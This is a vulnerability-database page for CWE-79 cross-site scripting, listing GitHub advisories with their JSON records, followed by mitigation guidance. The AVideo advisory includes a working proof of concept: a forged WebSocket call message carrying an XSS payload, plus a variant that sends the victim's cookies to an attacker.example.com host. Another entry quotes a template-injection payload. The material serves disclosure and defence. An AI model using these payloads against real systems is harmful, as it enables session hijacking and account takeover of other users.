CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
66747 vulnerabilities reference this CWE, most recent first.
GHSA-W4GP-RMFP-F2GH
Vulnerability from github – Published: 2023-11-02 15:30 – Updated: 2023-11-02 15:30Documents operations could be manipulated to contain invalid data types, possibly script code. Script code could be injected to an operation that would be executed for users that are actively collaborating on the same document. Operation data exchanged between collaborating parties does now get escaped to avoid code execution. No publicly available exploits are known.
{
"affected": [],
"aliases": [
"CVE-2023-29044"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-02T14:15:11Z",
"severity": "MODERATE"
},
"details": "Documents operations could be manipulated to contain invalid data types, possibly script code. Script code could be injected to an operation that would be executed for users that are actively collaborating on the same document. Operation data exchanged between collaborating parties does now get escaped to avoid code execution. No publicly available exploits are known.\n\n",
"id": "GHSA-w4gp-rmfp-f2gh",
"modified": "2023-11-02T15:30:25Z",
"published": "2023-11-02T15:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29044"
},
{
"type": "WEB",
"url": "https://documentation.open-xchange.com/appsuite/security/advisories/csaf/2023/oxas-adv-2023-0004.json"
},
{
"type": "WEB",
"url": "https://documentation.open-xchange.com/security/advisories/csaf/oxas-adv-2023-0004.json"
},
{
"type": "WEB",
"url": "https://software.open-xchange.com/products/appsuite/doc/Release_Notes_for_Patch_Release_6243_7.10.6_2023-08-01.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W4GW-5V3X-53HR
Vulnerability from github – Published: 2022-05-17 05:03 – Updated: 2025-04-11 03:58Cross-site scripting (XSS) vulnerability in wassup.php in the WassUp plugin before 1.8.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
{
"affected": [],
"aliases": [
"CVE-2012-2633"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-06-15T19:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in wassup.php in the WassUp plugin before 1.8.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.",
"id": "GHSA-w4gw-5v3x-53hr",
"modified": "2025-04-11T03:58:26Z",
"published": "2022-05-17T05:03:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-2633"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN15646988/index.html"
},
{
"type": "WEB",
"url": "http://jvndb.jvn.jp/jvndb/JVNDB-2012-000058"
},
{
"type": "WEB",
"url": "http://osvdb.org/82017"
},
{
"type": "WEB",
"url": "http://plugins.trac.wordpress.org/changeset?old_path=%2Fwassup\u0026old=545369\u0026new_path=%2Fwassup\u0026new=545369"
},
{
"type": "WEB",
"url": "http://wordpress.org/extend/plugins/wassup/changelog"
},
{
"type": "WEB",
"url": "http://www.wpwp.org/archives/wassup-1-8-3-1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W4H2-G5JW-9FVQ
Vulnerability from github – Published: 2025-08-23 06:30 – Updated: 2025-08-23 06:30The ShortcodeHub plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘author_link_target’ parameter in all versions up to, and including, 1.7.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2025-7957"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-23T05:15:33Z",
"severity": "MODERATE"
},
"details": "The ShortcodeHub plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018author_link_target\u2019 parameter in all versions up to, and including, 1.7.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-w4h2-g5jw-9fvq",
"modified": "2025-08-23T06:30:21Z",
"published": "2025-08-23T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7957"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/shortcodehub/trunk/inc/classes/useful-shortcodes/class-sh-useful-shortcodes-theme.php#L133"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/shortcodehub/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f3db71e8-1a0c-47d8-babd-a84a25a8b467?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W4H4-HXWP-C4RM
Vulnerability from github – Published: 2024-03-27 12:30 – Updated: 2026-04-28 21:34Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Syam Mohan WPFront Notification Bar allows Stored XSS.This issue affects WPFront Notification Bar: from n/a through 3.3.2.
{
"affected": [],
"aliases": [
"CVE-2024-29819"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-27T11:15:46Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Syam Mohan WPFront Notification Bar allows Stored XSS.This issue affects WPFront Notification Bar: from n/a through 3.3.2.",
"id": "GHSA-w4h4-hxwp-c4rm",
"modified": "2026-04-28T21:34:18Z",
"published": "2024-03-27T12:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29819"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wpfront-notification-bar/wordpress-wpfront-notification-bar-plugin-3-3-2-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W4HC-VQPP-RJ57
Vulnerability from github – Published: 2022-05-17 02:06 – Updated: 2022-05-17 02:06Cross-site scripting (XSS) vulnerability in news_show.php in Newanz NewsOffice 2.0.18 allows remote attackers to inject arbitrary web script or HTML via the n-cat parameter.
{
"affected": [],
"aliases": [
"CVE-2010-2844"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-07-25T02:04:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in news_show.php in Newanz NewsOffice 2.0.18 allows remote attackers to inject arbitrary web script or HTML via the n-cat parameter.",
"id": "GHSA-w4hc-vqpp-rj57",
"modified": "2022-05-17T02:06:13Z",
"published": "2022-05-17T02:06:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2844"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/60182"
},
{
"type": "WEB",
"url": "http://cross-site-scripting.blogspot.com/2010/07/news-office-2018-reflected-xss.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1007-exploits/newsoffice-xss.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/41419"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/1723"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W4HH-C225-9VX5
Vulnerability from github – Published: 2022-05-02 03:45 – Updated: 2022-05-02 03:45Cross-site scripting (XSS) vulnerability in profiles/html/simpleSearch.do in IBM Lotus Connections 2.0.1 allows remote attackers to inject arbitrary web script or HTML via the name parameter.
{
"affected": [],
"aliases": [
"CVE-2009-3469"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-09-29T19:30:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in profiles/html/simpleSearch.do in IBM Lotus Connections 2.0.1 allows remote attackers to inject arbitrary web script or HTML via the name parameter.",
"id": "GHSA-w4hh-c225-9vx5",
"modified": "2022-05-02T03:45:30Z",
"published": "2022-05-02T03:45:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3469"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/53460"
},
{
"type": "WEB",
"url": "http://osvdb.org/58320"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/36849"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg24024414"
},
{
"type": "WEB",
"url": "http://www-1.ibm.com/support/docview.wss?uid=swg1LO44244"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/36513"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1022945"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/2760"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W4HJ-6G7H-5WC8
Vulnerability from github – Published: 2021-12-21 00:00 – Updated: 2021-12-28 00:01Opmantek Open-AudIT Community 4.2.0 (Fixed in 4.3.0) is affected by a Cross Site Scripting (XSS) vulnerability. If a bad value is passed to the routine via a URL, malicious JavaScript code can be executed in the victim's browser.
{
"affected": [],
"aliases": [
"CVE-2021-44916"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-20T12:15:00Z",
"severity": "MODERATE"
},
"details": "Opmantek Open-AudIT Community 4.2.0 (Fixed in 4.3.0) is affected by a Cross Site Scripting (XSS) vulnerability. If a bad value is passed to the routine via a URL, malicious JavaScript code can be executed in the victim\u0027s browser.",
"id": "GHSA-w4hj-6g7h-5wc8",
"modified": "2021-12-28T00:01:25Z",
"published": "2021-12-21T00:00:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44916"
},
{
"type": "WEB",
"url": "https://github.com/Opmantek/open-audit/commit/e37b64bbd0219f03cb71cc1cd5bb010166a2b846"
},
{
"type": "WEB",
"url": "https://community.opmantek.com/display/OA/Errata+-+4.2.0+and+earlier+Javascript+vulnerability"
},
{
"type": "WEB",
"url": "https://community.opmantek.com/display/OA/Release+Notes+for+Open-AudIT+v4.3.0"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/165502/Open-AudIT-Community-4.2.0-Cross-Site-Scripting.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W4HP-PCP8-QHF3
Vulnerability from github – Published: 2022-01-28 23:06 – Updated: 2022-02-03 20:16Stored XSS is found in Settings>Live help configuration>Departments->Departments groups->edit When a user creates a new webhook under the NAME field and puts a payload {{constructor.constructor('alert(1)')()}}, the input gets stored, at user edit groupname , the payload gets executed.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "remdex/livehelperchat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.93"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-0387"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-28T20:26:07Z",
"nvd_published_at": "2022-01-27T06:15:00Z",
"severity": "MODERATE"
},
"details": "Stored XSS is found in Settings\u003eLive help configuration\u003eDepartments-\u003eDepartments groups-\u003eedit When a user creates a new webhook under the NAME field and puts a payload {{constructor.constructor(\u0027alert(1)\u0027)()}}, the input gets stored, at user edit groupname , the payload gets executed.",
"id": "GHSA-w4hp-pcp8-qhf3",
"modified": "2022-02-03T20:16:38Z",
"published": "2022-01-28T23:06:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0387"
},
{
"type": "WEB",
"url": "https://github.com/livehelperchat/livehelperchat/commit/ff70c7dd641b68b9afb170b89ec1ef003a4e3444"
},
{
"type": "PACKAGE",
"url": "https://github.com/livehelperchat/livehelperchat"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/2e09035b-8f98-4930-b7e8-7abe5f722b98"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cross-site Scripting in livehelperchat"
}
GHSA-W4HP-W536-JG64
Vulnerability from github – Published: 2026-04-01 20:54 – Updated: 2026-04-01 20:54Summary
The AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the heading parameter. The toast plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.
Details
When a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message:
// plugin/YPTSocket/caller.js:73
userIdentification = json.from_identification;
This value is passed directly to the jQuery Toast Plugin as the heading:
// plugin/YPTSocket/caller.js:89
heading: userIdentification,
Inside the jQuery Toast Plugin, the heading is rendered as raw HTML:
// node_modules/jquery-toast-plugin/src/jquery.toast.js:60
// Constructs: '<h2>' + heading + '</h2>'
// Then inserts via .html()
jQuery's .html() method parses the string as HTML and executes any script-bearing elements (such as <img onerror>, <svg onload>, etc.).
There is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted onclick attribute:
// plugin/YPTSocket/caller.js:121-123
imageAndButton += '<button class="btn btn-danger btn-circle incomeCallBtn" onclick=\'hangUpCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone-slash"></i></button>';
if (isJsonReceivingCall(json)) {
imageAndButton += '<button class="btn btn-success btn-circle incomeCallBtn" onclick=\'acceptCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone"></i></button>';
JSON.stringify(json) is placed inside a single-quoted onclick attribute. If any field in json contains a single quote, it breaks the attribute boundary and allows attribute injection.
Proof of Concept
Important note on the attack vector: User::setName() at objects/user.php:2069 uses strip_tags(), so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the from_identification field. A malicious WebSocket client can send any from_identification value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.
Step 1: Connect a malicious WebSocket client and send a forged call message
The following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the from_identification field:
// Malicious WebSocket client - bypasses server-side strip_tags() sanitization
const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() {
// Send a forged call message with HTML in from_identification
const payload = {
msg: 'call',
from_users_id: 1,
to_users_id: VICTIM_USER_ID,
from_identification: '<img src=x onerror=alert(document.cookie)>',
resourceURL: 'https://your-avideo-instance.com/meet/123'
};
ws.send(JSON.stringify(payload));
console.log('Forged call message sent');
};
Step 2: When the victim receives the call notification, the toast renders from_identification as HTML via jQuery's .html(). The <img> tag triggers the onerror handler, executing JavaScript in the victim's browser context.
More advanced payload for credential exfiltration:
// Credential exfiltration via forged WebSocket call
const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() {
ws.send(JSON.stringify({
msg: 'call',
from_users_id: 1,
to_users_id: VICTIM_USER_ID,
from_identification: '<img src=x onerror="fetch(\'https://attacker.example.com/log?\'+document.cookie)">',
resourceURL: 'https://your-avideo-instance.com/meet/123'
}));
};
Reproduction steps:
- Identify the WebSocket server address for the target AVideo instance (typically port 8888).
- Connect a custom WebSocket client to the server.
- Send a call message with
from_identificationset to<img src=x onerror=alert(document.cookie)>. - Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded).
- Observe the XSS payload executing in the victim's browser when the toast notification appears. No victim interaction is required.
Impact
This is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.
Consequences include:
- Session hijacking: Steal the victim's session cookie and impersonate them.
- Account takeover: If the victim is an administrator, the attacker gains full platform control.
- Worm propagation: The XSS payload can automatically change the victim's display name to the same payload and call other online users, creating a self-propagating worm.
- Keylogging and credential theft: Inject persistent scripts that capture keystrokes on the current page.
The attack is zero-click and can target any specific online user.
- CWE: CWE-79 (Cross-Site Scripting - DOM-based)
Recommended Fix
HTML-escape the heading value before passing it to $.toast() at plugin/YPTSocket/caller.js:89:
heading: $('<span>').text(userIdentification).html(),
This uses jQuery's .text() to safely encode the user-controlled string, then extracts the escaped HTML via .html().
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34716"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T20:54:51Z",
"nvd_published_at": "2026-03-31T21:16:31Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe AVideo YPTSocket plugin\u0027s caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller\u0027s display name directly as the `heading` parameter. The toast plugin constructs the heading as raw HTML (`\u0027\u003ch2\u003e\u0027 + heading + \u0027\u003c/h2\u003e\u0027`) and inserts it into the DOM via jQuery\u0027s `.html()` method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user\u0027s browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.\n\n## Details\n\nWhen a call notification arrives via WebSocket, the caller\u0027s identity is extracted from the JSON message:\n\n```javascript\n// plugin/YPTSocket/caller.js:73\nuserIdentification = json.from_identification;\n```\n\nThis value is passed directly to the jQuery Toast Plugin as the heading:\n\n```javascript\n// plugin/YPTSocket/caller.js:89\nheading: userIdentification,\n```\n\nInside the jQuery Toast Plugin, the heading is rendered as raw HTML:\n\n```javascript\n// node_modules/jquery-toast-plugin/src/jquery.toast.js:60\n// Constructs: \u0027\u003ch2\u003e\u0027 + heading + \u0027\u003c/h2\u003e\u0027\n// Then inserts via .html()\n```\n\njQuery\u0027s `.html()` method parses the string as HTML and executes any script-bearing elements (such as `\u003cimg onerror\u003e`, `\u003csvg onload\u003e`, etc.).\n\nThere is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted `onclick` attribute:\n\n```javascript\n// plugin/YPTSocket/caller.js:121-123\nimageAndButton += \u0027\u003cbutton class=\"btn btn-danger btn-circle incomeCallBtn\" onclick=\\\u0027hangUpCall(\u0027 + JSON.stringify(json) + \u0027)\\\u0027\u003e\u003ci class=\"fas fa-phone-slash\"\u003e\u003c/i\u003e\u003c/button\u003e\u0027;\nif (isJsonReceivingCall(json)) {\n imageAndButton += \u0027\u003cbutton class=\"btn btn-success btn-circle incomeCallBtn\" onclick=\\\u0027acceptCall(\u0027 + JSON.stringify(json) + \u0027)\\\u0027\u003e\u003ci class=\"fas fa-phone\"\u003e\u003c/i\u003e\u003c/button\u003e\u0027;\n```\n\n`JSON.stringify(json)` is placed inside a single-quoted `onclick` attribute. If any field in `json` contains a single quote, it breaks the attribute boundary and allows attribute injection.\n\n## Proof of Concept\n\n**Important note on the attack vector:** `User::setName()` at `objects/user.php:2069` uses `strip_tags()`, so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the `from_identification` field. A malicious WebSocket client can send any `from_identification` value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.\n\n**Step 1: Connect a malicious WebSocket client and send a forged call message**\n\nThe following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the `from_identification` field:\n\n```javascript\n// Malicious WebSocket client - bypasses server-side strip_tags() sanitization\nconst ws = new WebSocket(\u0027wss://your-avideo-instance.com:8888\u0027);\n\nws.onopen = function() {\n // Send a forged call message with HTML in from_identification\n const payload = {\n msg: \u0027call\u0027,\n from_users_id: 1,\n to_users_id: VICTIM_USER_ID,\n from_identification: \u0027\u003cimg src=x onerror=alert(document.cookie)\u003e\u0027,\n resourceURL: \u0027https://your-avideo-instance.com/meet/123\u0027\n };\n ws.send(JSON.stringify(payload));\n console.log(\u0027Forged call message sent\u0027);\n};\n```\n\n**Step 2:** When the victim receives the call notification, the toast renders `from_identification` as HTML via jQuery\u0027s `.html()`. The `\u003cimg\u003e` tag triggers the `onerror` handler, executing JavaScript in the victim\u0027s browser context.\n\nMore advanced payload for credential exfiltration:\n\n```javascript\n// Credential exfiltration via forged WebSocket call\nconst ws = new WebSocket(\u0027wss://your-avideo-instance.com:8888\u0027);\nws.onopen = function() {\n ws.send(JSON.stringify({\n msg: \u0027call\u0027,\n from_users_id: 1,\n to_users_id: VICTIM_USER_ID,\n from_identification: \u0027\u003cimg src=x onerror=\"fetch(\\\u0027https://attacker.example.com/log?\\\u0027+document.cookie)\"\u003e\u0027,\n resourceURL: \u0027https://your-avideo-instance.com/meet/123\u0027\n }));\n};\n```\n\nReproduction steps:\n\n1. Identify the WebSocket server address for the target AVideo instance (typically port 8888).\n2. Connect a custom WebSocket client to the server.\n3. Send a call message with `from_identification` set to `\u003cimg src=x onerror=alert(document.cookie)\u003e`.\n4. Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded).\n5. Observe the XSS payload executing in the victim\u0027s browser when the toast notification appears. No victim interaction is required.\n\n## Impact\n\nThis is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.\n\nConsequences include:\n\n- **Session hijacking**: Steal the victim\u0027s session cookie and impersonate them.\n- **Account takeover**: If the victim is an administrator, the attacker gains full platform control.\n- **Worm propagation**: The XSS payload can automatically change the victim\u0027s display name to the same payload and call other online users, creating a self-propagating worm.\n- **Keylogging and credential theft**: Inject persistent scripts that capture keystrokes on the current page.\n\nThe attack is zero-click and can target any specific online user.\n\n- **CWE**: CWE-79 (Cross-Site Scripting - DOM-based)\n\n## Recommended Fix\n\nHTML-escape the heading value before passing it to `$.toast()` at `plugin/YPTSocket/caller.js:89`:\n\n```javascript\nheading: $(\u0027\u003cspan\u003e\u0027).text(userIdentification).html(),\n```\n\nThis uses jQuery\u0027s `.text()` to safely encode the user-controlled string, then extracts the escaped HTML via `.html()`.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-w4hp-w536-jg64",
"modified": "2026-04-01T20:54:51Z",
"published": "2026-04-01T20:54:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-w4hp-w536-jg64"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34716"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo: DOM XSS via Unsanitized Display Name in WebSocket Call Notification"
}
GHSA-W4J2-RWRW-R2QX
Vulnerability from github – Published: 2026-03-11 03:31 – Updated: 2026-03-11 03:31Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
{
"affected": [],
"aliases": [
"CVE-2026-27231"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-11T01:16:52Z",
"severity": "MODERATE"
},
"details": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field.",
"id": "GHSA-w4j2-rwrw-r2qx",
"modified": "2026-03-11T03:31:26Z",
"published": "2026-03-11T03:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27231"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
